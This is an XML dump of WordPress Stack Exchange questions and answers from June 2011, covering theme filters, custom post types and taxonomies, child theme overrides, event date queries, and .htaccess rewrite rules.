  <row Id="19289" PostTypeId="2" ParentId="19225" CreationDate="2011-06-05T19:55:44.600" Score="1" ViewCount="" Body="&lt;p&gt;if the translation is only for the archive widget, a filter function might work (to be added to functions.php of the theme):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_archives_link', 'translate_archive_month');&#xA;&#xA;function translate_archive_month($list) {&#xA;  $patterns = array(&#xA;    '/January/', '/February/', '/March/', '/April/', '/May/', '/June/',&#xA;    '/July/', '/August/', '/September/', '/October/',  '/November/', '/December/'&#xA;  );&#xA;  $replacements = array(&#xA;    'jan', 'feb', 'mar', 'apr', 'may', 'jun', &#xA;    'jul', 'aug', 'sep', 'oct', 'nov', 'dec'&#xA;  );    &#xA;  $list = preg_replace($patterns, $replacements, $list);&#xA;return $list; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-05T19:55:44.600" CommentCount="1" />
  <row Id="19290" PostTypeId="1" CreationDate="2011-06-05T20:35:36.007" Score="1" ViewCount="44" Body="&lt;p&gt;In WordPress 3.1 a post can be reached a number of ways, for example each one of these takes you to the same post (where /id is the base)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://myblog.com/id/1008&#xA;http://myblog.com/id/1008/my-slug&#xA;http://myblog.com/my-slug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I tell WordPress to redirect all of these variations to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://myblog.com/id/1008/my-slug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3976" LastActivityDate="2011-08-21T10:32:58.147" Title="How can I force WordPress to redirect cannonical permalinks?" Tags="&lt;permalinks&gt;&lt;redirect&gt;&lt;slug&gt;" AnswerCount="1" />
  <row Id="19291" PostTypeId="1" CreationDate="2011-06-05T20:42:29.837" Score="0" ViewCount="42" Body="&lt;p&gt;We did have a normal dynamic post home page.( Arjuna X 1.6.11 by SRS Solutions) After selecting for a static, we returned the settings to our original settings. However, now we only have the single lastest post visible. I would love to get back the original settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="5945" LastActivityDate="2011-06-05T22:26:55.263" Title="&quot;Home&quot; Page now only displaying the single latest post" Tags="&lt;posts&gt;&lt;frontpage&gt;&lt;single&gt;" AnswerCount="1" />
  <row Id="19292" PostTypeId="1" CreationDate="2011-06-05T21:24:20.460" Score="-1" ViewCount="41" Body="&lt;p&gt;If I link to an article on a website, is there a way to automatically include a title attribute with the value being the title of the linked page?&lt;/p&gt;&#xA;" OwnerUserId="5946" LastActivityDate="2011-07-06T04:22:30.470" Title="Automatically add title attribute to links in WordPress" Tags="&lt;title&gt;" AnswerCount="1" />
  <row Id="19293" PostTypeId="1" CreationDate="2011-06-05T21:25:03.000" Score="1" ViewCount="140" Body="&lt;p&gt;I've recently taken on a project from a client of mine, after a lot of persuasion I've managed to finally get the website under some kind of CMS. I'm pretty new to Wordpress I've come from an ExpressionEngine background and fancied trying something new for a change, so excuse the lack of knowledge (I'm trying my best! :D). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now The issue I'm currently facing is that they have very specific directions regarding how they want their content displayed on their website and more importantly how they would like to manage it. They are a travel agent I'm currently putting together the resort directory that will display all of the resorts they offer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to the current structure of the directory it will be made up of 4 different sections. To give you a better understanding of how I want things to work take a look at this hierarchy below, (I've used turkey as an example, these would need to be dynamic):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;/destinations/&lt;/strong&gt; &lt;br/&gt;&#xA;This will be our destinations page that will list all of the countries they currently offer. I imagine this to be a static page with some content about the countries on offer with a list of the countries below (&lt;strong&gt;These will be our parent taxonomies&lt;/strong&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;/destinations/turkey/&lt;/strong&gt;&lt;br/&gt;&#xA;This will be our parent taxonomy. This page will also have to have the ability to add some static content to insert information about the country and its locations. Below this will be a second list, these will be the different areas of turkey (&lt;strong&gt;These will be children of the parent taxonomies&lt;/strong&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;/destinations/turkey/belek/&lt;/strong&gt;&lt;br/&gt;&#xA;This will be our child taxonomy, This page will again need to have the ability to add some static content. It will also include our list of resorts that my client offers within this location (&lt;strong&gt;These will be our entries/posts&lt;/strong&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;/destinations/turkey/belek/resort-name&lt;/strong&gt;&lt;br/&gt;&#xA;This will be our post/entry page, here we will have all of the information on the select resort, the specifics of this aren't an issue and I've already got this sorted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, I've done a lot of reading up on custom post types, custom taxonomies and their abilities and uses but I'm hit with a situation at the moment where I can't decide on which route I should take. I've been experimenting over the last few hours with the setup of &lt;strong&gt;one custom post type&lt;/strong&gt; (for resorts) and &lt;strong&gt;one hierarchical taxonomy&lt;/strong&gt; (for locations). Which works some what ok BUT due to the limitations of the taxonomy UI within the admin panel it doesn't allow me to add my static content/images etc. (I'd much prefer to use a WYSIWYG especially from a clients point of view). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this makes me wonder if it would be worth making &lt;strong&gt;two custom post types&lt;/strong&gt; and scrapping taxonomies all together, making one of the post types resorts and the other locations. With the locations post type I could set it up like the pages module (which would give me hierarchical controls to allow me to organise my locations how I had originally planned) but is this a wise move? I mean from what I've read you shouldn't really organise content this way but I've got a feeling that maybe just a clash of contextual semantics (I could be wrong!). Would there be any limitations for me setting things up this way should I wish to add search functionality in the future? Or anything else for that matter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I'd mention this before I FINALLY click the submit button (apologies for the great wall of text) but &lt;strong&gt;pages&lt;/strong&gt;... I've &lt;a href=&quot;http://justintadlock.com/archives/2009/03/13/page-templates-the-untapped-potential-of-wordpress&quot; rel=&quot;nofollow&quot;&gt;read here&lt;/a&gt; that they are powerful little gems within Wordpress, how should I be taking advantage of these if I'm using custom taxonomies? How well do they work with listing categories are they what I need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right, that about wraps up everything I've got to ask for now - maybe I should have split this into a few posts but hey! I hope this gives you guys enough information about what I'm trying to achieve and please if I am going wrong feel free to point me in the right direction I'm really eager to learn more about Wordpress and it's capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;br/&gt;&#xA;Danny&lt;/p&gt;&#xA;" OwnerUserId="5947" LastEditorUserId="5947" LastEditorDisplayName="" LastEditDate="2011-06-05T22:35:53.737" LastActivityDate="2011-06-06T01:01:49.610" Title="Should I use custom taxonomy or custom post type" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;pages&gt;&lt;hierarchical&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19294" PostTypeId="2" ParentId="19291" CreationDate="2011-06-05T21:48:00.590" Score="1" ViewCount="" Body="&lt;p&gt;I would check the reading settings in the admin section (Settings-&gt;Reading).  Make sure that the setting &quot;Blog pages show at most&quot; didn't get changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't fix it, try swapping back to the previous theme and see if it is anything to do with the theme's loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, my last thought on it would be to check the page template and see how the loop is constructed in case there is a context where it's not looping.&lt;/p&gt;&#xA;" OwnerUserId="5948" LastEditorUserId="5948" LastEditorDisplayName="" LastEditDate="2011-06-05T22:26:55.263" LastActivityDate="2011-06-05T22:26:55.263" />
  <row Id="19295" PostTypeId="2" ParentId="19293" CreationDate="2011-06-05T22:18:25.997" Score="0" ViewCount="" Body="&lt;p&gt;I think I would make or adjust a page template for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm thinking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1 -&lt;/strong&gt; they have and use their blog for each of the different countries and whatnot in no particular order.  Use the categories to place country and city (individually) for each post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&#xA;Title: Turkey, Belek - 2009 Summer fiasco!  (or whatever they want to title it as)&lt;br&gt;&#xA;Post: Here is the entry with pictures and text and wowee!&lt;br&gt;&#xA;Categories: Turkey, Belek, Beach, Resort... etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2 -&lt;/strong&gt; in the page template you can add navigation so that without providing information through a $_GET['Country'] and/or $_GET['City'] they're shown the options.  The trick here is when they select something specific (like Turkey, Belek) you can filter the categories like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&quot;showposts=15&amp;amp;offset=0&amp;amp;cat=3,11&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming Turkey is the category id of '3' and Belek is '11'... You could just use query_posts(&quot;cat=3,11&quot;) but that should get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="5948" LastActivityDate="2011-06-05T22:18:25.997" CommentCount="1" />
  <row Id="19296" PostTypeId="2" ParentId="19189" CreationDate="2011-06-05T22:38:34.723" Score="0" ViewCount="" Body="&lt;p&gt;if i understand correctly you want to get a list of &lt;code&gt;albums&lt;/code&gt; (posts) of a specific artist(taxonomy) and that are have &lt;code&gt;ihaveit&lt;/code&gt; term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so the its a simple query using &lt;code&gt;tax_query&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'posts_per_page' =&amp;gt; -1, //get all&#xA;    'post_type' =&amp;gt; 'album', &#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'artist',&#xA;            'field' =&amp;gt; 'slug', &#xA;            'terms' =&amp;gt; array( 'artist-slug' )&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'whereisit',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array('ihaveit')&#xA;        )&#xA;    )&#xA;);&#xA;$query = new WP_Query( $args );&#xA;while($query-&amp;gt;have_posts())&#xA;{&#xA;    $query-&amp;gt;the_post();&#xA;    //to your thing / loop here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-05T22:38:34.723" CommentCount="1" />
  <row Id="19297" PostTypeId="2" ParentId="19292" CreationDate="2011-06-05T23:12:33.623" Score="0" ViewCount="" Body="&lt;p&gt;Don't know if this works but it should,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_page_title($url){&#xA;        if( !class_exists( 'WP_Http' ) )&#xA;            include_once( ABSPATH . WPINC. '/class-http.php' );&#xA;        $request = new WP_Http;&#xA;        $result = $request-&amp;gt;request( $url );&#xA;        if( is_wp_error( $result ) )&#xA;            return false;&#xA;&#xA;        if( preg_match(&quot;#&amp;lt;title&amp;gt;(.+)&amp;lt;\/title&amp;gt;#iU&quot;, $result, $t))  {&#xA;            return trim($t[1]);&#xA;        } else {&#xA;            return false;&#xA;        }&#xA;    }&#xA;&#xA;    add_filter('the_content','auto_add_title_to_link');&#xA;&#xA;    function auto_add_title_to_link($content){&#xA;        $html = new DomDocument;&#xA;        $html-&amp;gt;loadHTML($content); &#xA;        $html-&amp;gt;preserveWhiteSpace = false; &#xA;        //get all links&#xA;        foreach($html-&amp;gt;getElementsByTagName('a') as $link) {&#xA;        //make sure it dosent have a title&#xA;            if ($link-&amp;gt;getAttribute('title') == '' || empty($link-&amp;gt;getAttribute('title')))&#xA;                $links[] = $link-&amp;gt;getAttribute('href');&#xA;        }&#xA;        //get title and add it&#xA;        foreach ($links as $link){&#xA;            $title = get_page_title($link);&#xA;            if (false !== $title){&#xA;                $replace = $link.' title=&quot;'.$title.'&quot;';&#xA;                $content = str_replace($link,$replace,$content);&#xA;            }&#xA;&#xA;        }&#xA;        return $content;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-05T23:12:33.623" />
  <row Id="19298" PostTypeId="1" CreationDate="2011-06-06T00:05:42.587" Score="0" ViewCount="36" Body="&lt;p&gt;Is there a way of hiding a blog posts text if it's longer than let's say 300 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want it to push the rest of the content below the fold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You know, the show more text thing.&lt;/p&gt;&#xA;" OwnerUserId="5949" LastActivityDate="2011-06-06T05:30:05.380" Title="Any way to hide a blog posts text if it's longer than let's say 300 characters" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="19299" PostTypeId="1" AcceptedAnswerId="19302" CreationDate="2011-06-06T00:32:32.307" Score="1" ViewCount="97" Body="&lt;p&gt;I'm curious if other PHP code files besides functions.php, WP template files and style.css in a child theme actually override the same file in a parent them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working with a client that has a theme with child theme support, however, there are no hooks or actions to unload for the functions that I wish to override.  Looking for a clean way to perform this override whith customized code that won't be overwrote on upgrade.&lt;/p&gt;&#xA;" OwnerUserId="4737" LastActivityDate="2011-06-06T00:56:42.313" Title="Do all files in child theme override the parent?" Tags="&lt;child-theme&gt;&lt;overridable-functions&gt;&lt;parent-theme&gt;" AnswerCount="2" />
  <row Id="19300" PostTypeId="1" CreationDate="2011-06-06T00:47:38.707" Score="0" ViewCount="46" Body="&lt;p&gt;I have the following code going into a meta box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function multi_author($post, $box)&#xA;{&#xA;$currentAuthors = esc_attr(get_post_meta($post-&amp;gt;ID, 'multiAuthors', true));&#xA;if ($currentAuthors) {&#xA;    $authors = explode(',', $currentAuthors);&#xA;}&#xA;$y = 1;&#xA;for ($x = 0; $x &amp;lt;= 3; $x++) {&#xA;    $output .= &quot;Author #{$y}: &quot; . wp_dropdown_users(array(&#xA;                'show_option_none' =&amp;gt; '-- Select --',&#xA;                'echo' =&amp;gt; 0,&#xA;                'name' =&amp;gt; 'author' . $y,&#xA;                'selected' =&amp;gt; $authors[$x],&#xA;                'who' =&amp;gt; 'authors'&#xA;            )) . &quot;&amp;lt;br/&amp;gt;&quot;;&#xA;    $y++;&#xA;}&#xA;&#xA;echo $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I place this code into a front end facing page, everything works as expected.  When this code is in a meta box, the 'show_option_none' tag is ignored and everything else works as planned.  Wordpress version 3.1.3 is being used. Any guesses as to why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="5950" LastEditorUserId="5950" LastEditorDisplayName="" LastEditDate="2011-06-07T04:28:09.833" LastActivityDate="2011-06-07T04:28:09.833" Title="show_option_none not working in meta box" Tags="&lt;theme-development&gt;&lt;admin&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19301" PostTypeId="2" ParentId="19299" CreationDate="2011-06-06T00:54:59.847" Score="0" ViewCount="" Body="&lt;p&gt;Normally all files are &quot;override&quot;-able (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9989/how-to-load-parent-theme-functions-php-before-child-theme&quot;&gt;but not the functions.php file&lt;/a&gt;). Rule is: child-Theme loads first, then the parent theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to override a function inside the functions.php file, then it should be wrapped in &lt;code&gt;if ( ! function_exists('function_name') ) { function some_function_name() { /* do stuff */ } }&lt;/code&gt;. Else, it's not possible.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-06T00:54:59.847" />
  <row Id="19302" PostTypeId="2" ParentId="19299" CreationDate="2011-06-06T00:56:42.313" Score="1" ViewCount="" Body="&lt;p&gt;It depends entirely on a) what functions and template files you're talking about, and b) how those functions are defined, or template files are called, in the Parent Theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Parent Theme uses &lt;code&gt;get_template_part()&lt;/code&gt;, then you're golden. If the Parent Theme uses &lt;code&gt;get_stylesheet_directory_uri()&lt;/code&gt; or &lt;code&gt;STYLESHEETPATH&lt;/code&gt;, then you can override, with caveats. If the Parent Theme uses &lt;code&gt;get_template_directory_uri()&lt;/code&gt; or &lt;code&gt;TEMPLATEPATH&lt;/code&gt;, then you're going to have a difficult time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With functions, if the Parent Theme wraps the functions in a &lt;code&gt;function_exists()&lt;/code&gt; conditional, then you can simply override such functions by declaring them in the Child Theme. With hooks, you can simply &lt;code&gt;remove_action&lt;/code&gt; or &lt;code&gt;remove_filter&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-06T00:56:42.313" />
  <row Id="19303" PostTypeId="2" ParentId="19293" CreationDate="2011-06-06T01:01:49.610" Score="2" ViewCount="" Body="&lt;p&gt;So, at the end of the day, your &lt;em&gt;content&lt;/em&gt; is about &lt;em&gt;resorts&lt;/em&gt; (that is, &quot;destination&quot; = &lt;code&gt;resort&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Post Type: &lt;code&gt;destination&lt;/code&gt; (semantically, it would be &quot;resort&quot;, but you can use &quot;destination&quot; to meet your client's needs)&#xA;Custom Taxonomy(ies): &lt;code&gt;location&lt;/code&gt; (&lt;code&gt;country&lt;/code&gt;, &lt;code&gt;city&lt;/code&gt;, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to parse the terminology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post: noun&#xA;Taxonomies: adjectives&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Post&lt;/em&gt; is the &lt;em&gt;thing&lt;/em&gt; - the &lt;em&gt;content&lt;/em&gt;. Any &lt;em&gt;taxonomies&lt;/em&gt; are ways of &lt;em&gt;describing&lt;/em&gt; your &lt;em&gt;Posts&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-06T01:01:49.610" CommentCount="9" />
  <row Id="19304" PostTypeId="2" ParentId="16576" CreationDate="2011-06-06T02:23:24.957" Score="0" ViewCount="" Body="&lt;p&gt;I searched high and wide but to no avail... so I built one myself! go to &lt;a href=&quot;http://www.churchmediaresource.com/web/quote-cart&quot; rel=&quot;nofollow&quot;&gt;http://www.churchmediaresource.com/web/quote-cart&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5952" LastActivityDate="2011-06-06T02:23:24.957" />
  <row Id="19305" PostTypeId="1" CreationDate="2011-06-06T02:29:39.023" Score="0" ViewCount="58" Body="&lt;p&gt;I need to list the next seven days no matter what day it is.  If its monday, it starts with today and lists 7 days, if its friday it starts with today and lists 7 days from today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I need to show any events for that day.  IF there are no events for a given day it simply lists a default graphic.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to make a featured event for a each day and eventually set it up so that it just shows that one but for now I just want to list the next 7 days and any events contained within them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two piece that don't fit together very well.  First:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cur_day = 'current_day'; $last = 'last';&#xA;$date = date('o-m-d'); $ts = strtotime($date); $dow = date('w', $ts); &#xA;for ($i=0; $i&amp;lt;7; $i++, $ts+=86400){ ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will list each of the next 7 days starting with today.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $event_query = new WP_Query(&#xA;        array( &#xA;          'post_type'   =&amp;gt; 'event',        // only query events&#xA;          'meta_key'    =&amp;gt; 'event-date',  // load up the event_date meta&#xA;          'orderby'     =&amp;gt; 'meta_value',&#xA;          'order'       =&amp;gt; 'asc',         // ascending, so earlier events first&#xA;          'meta_query'  =&amp;gt; array(&#xA;             array(         // restrict posts based on meta values&#xA;              'key'     =&amp;gt; 'event-date',  // which meta to query&#xA;              'value'   =&amp;gt; $event_date,  // value for comparison&#xA;              'compare' =&amp;gt; '=',          // method of comparison&#xA;              'type'    =&amp;gt; 'NUMERIC'         // datatype, we don't want to compare the string values&#xA;            ) // meta_query is an array of query ites&#xA;           ) // end meta_query array&#xA;          ) // end array&#xA;        ); // close WP_Query constructor call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lists the next seven days but doesn't do well with the events... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to duplicate this: &lt;a href=&quot;http://www3.dmagazine.com/events&quot; rel=&quot;nofollow&quot;&gt;http://www3.dmagazine.com/events&lt;/a&gt; with cpt's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks   PLEASE HELP&lt;/p&gt;&#xA;" OwnerUserId="5181" LastEditorUserId="5181" LastEditorDisplayName="" LastEditDate="2011-06-06T03:12:56.147" LastActivityDate="2011-06-06T04:42:32.757" Title="How do I list the next 7 days and any events (cpt) contained in those days" Tags="&lt;custom-post-types&gt;&lt;events&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19306" PostTypeId="2" ParentId="19305" CreationDate="2011-06-06T04:42:32.757" Score="1" ViewCount="" Body="&lt;p&gt;You should definitely do it in just a single query. then set up a simple loop, each iteration get that day's date. then loop through all posts and compare the date to the date meta field, and output if it matches. I think something like this should work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today = date(&quot;o-m-d&quot;);&#xA;$future = strtotime ( '+6 days' , strtotime ( $today ) ) ;&#xA;$future = date ( 'o-m-d' , $future );&#xA;$event_query = new WP_Query(&#xA;    array( &#xA;      'post_type'   =&amp;gt; 'event',&#xA;      'meta_key'    =&amp;gt; 'event-date',&#xA;      'orderby'     =&amp;gt; 'meta_value',&#xA;      'order'       =&amp;gt; 'asc',&#xA;      'meta_query'  =&amp;gt; array(&#xA;         array(&#xA;          'key'     =&amp;gt; 'event-date',&#xA;          'value'   =&amp;gt; array($today,$future),&#xA;          'compare' =&amp;gt; 'BETWEEN',&#xA;          'type'    =&amp;gt; 'DATE'&#xA;        )&#xA;       )&#xA;      ) &#xA;    );&#xA;&#xA;for ($i=0; $i&amp;lt;7; $i++){&#xA;    $thedate = strtotime ( '+'.$i.' day' , strtotime ( $today ) ) ;&#xA;    $thedate = date ( 'o-m-d' , $thedate );&#xA;    echo $thedate;&#xA;    // loop thru all posts and check $thedate against your date meta&#xA;    // and output if it matches&#xA;    // then rewind_posts(); to set it up for the next day&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-06T04:42:32.757" CommentCount="1" />
  <row Id="19307" PostTypeId="2" ParentId="19298" CreationDate="2011-06-06T05:25:00.653" Score="1" ViewCount="" Body="&lt;p&gt;You could use this filter which can be found in the default WordPress themes  functions.php file (twentyten). This will limit the post to 300 characters, so theres no need to hide it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function twentyten_excerpt_length( $length ) {&#xA;    return 300;&#xA;}&#xA;add_filter( 'excerpt_length', 'twentyten_excerpt_length' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are other means to achieve the same thing, but stick to whats already available and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-06-06T05:30:05.380" LastActivityDate="2011-06-06T05:30:05.380" />
  <row Id="19308" PostTypeId="1" CreationDate="2011-06-06T07:43:53.490" Score="0" ViewCount="180" Body="&lt;p&gt;The instructions for implementing Modernizr state that I should add &lt;code&gt;class=&quot;no-js&quot;&lt;/code&gt; to the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in WordPress using a hook or filter? If at all possible, I'd prefer to do this without editing the theme files.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastEditorUserId="1851" LastEditorDisplayName="" LastEditDate="2011-06-06T08:06:02.903" LastActivityDate="2011-06-06T08:21:39.157" Title="Modernizr and WordPress - How can I add a CSS class to the html element?" Tags="&lt;css&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19309" PostTypeId="2" ParentId="19308" CreationDate="2011-06-06T08:21:39.157" Score="2" ViewCount="" Body="&lt;p&gt;This is not exactly the answer, but you can use a hook for &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/language_attributes?version=3.0&amp;amp;file=wp-includes/general-template.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;language_attributes&lt;/code&gt;&lt;/a&gt; filter. This action is fired at &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag and what it does is simply echo the &lt;code&gt;lang=en&lt;/code&gt; string, for ex. You can hook to that and replace the string with your CSS class, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('language_attributes', 'modernizr');&#xA;function modernizr($output) {&#xA;    return 'class=&quot;no-js&quot;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works only when your theme follows the &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Document_Head_.28header.php.29&quot; rel=&quot;nofollow&quot;&gt;WordPress Theme Development Checklist&lt;/a&gt;. Sometimes people don't follow this and that breaks the technique.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-06T08:21:39.157" CommentCount="4" />
  <row Id="19310" PostTypeId="1" CreationDate="2011-06-06T09:23:50.873" Score="0" ViewCount="121" Body="&lt;p&gt;I installed wordpress on my root site. ( &lt;a href=&quot;http://hxnis.com&quot; rel=&quot;nofollow&quot;&gt;http://hxnis.com&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using multisite network, I installed another wordpress on sub directory called 'store'. So it would be like this:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://hxnis.com/store&quot; rel=&quot;nofollow&quot;&gt;http://hxnis.com/store&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add 'test.html' at the end of the sub site address just to test 404 error page. The .html file does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex:http://hxnis.com/store/test.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 404 error page displayed in root site theme!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change that so my sub directory 404 error appear with its directory theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;content of root .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there is no .htaccess file in subdirectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use multisite before but something went wrong with my site feed.&lt;/p&gt;&#xA;" OwnerUserId="5954" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-07T07:30:16.963" LastActivityDate="2011-06-07T07:30:16.963" Title="Disable sub directory 404 error from redirect to root 404 error page" Tags="&lt;multisite&gt;&lt;404-error&gt;&lt;subdirectories&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="19311" PostTypeId="2" ParentId="13334" CreationDate="2011-06-06T09:31:36.953" Score="0" ViewCount="" Body="&lt;p&gt;I personally like a lot the  &lt;a href=&quot;http://wordpress.org/extend/plugins/search-unleashed/&quot; rel=&quot;nofollow&quot;&gt;Search Unleashed plugin&lt;/a&gt;. Simple and efficient. It does need a bit of patching unfortunately, because the author seems to have given up.&#xA;Fortunately, the patch can be found on the wordpress forum, in &lt;a href=&quot;http://wordpress.org/support/topic/search-unleashed-and-custom-post-types-and-taxonomies?replies=3#post-2151190&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-06-06T09:31:36.953" />
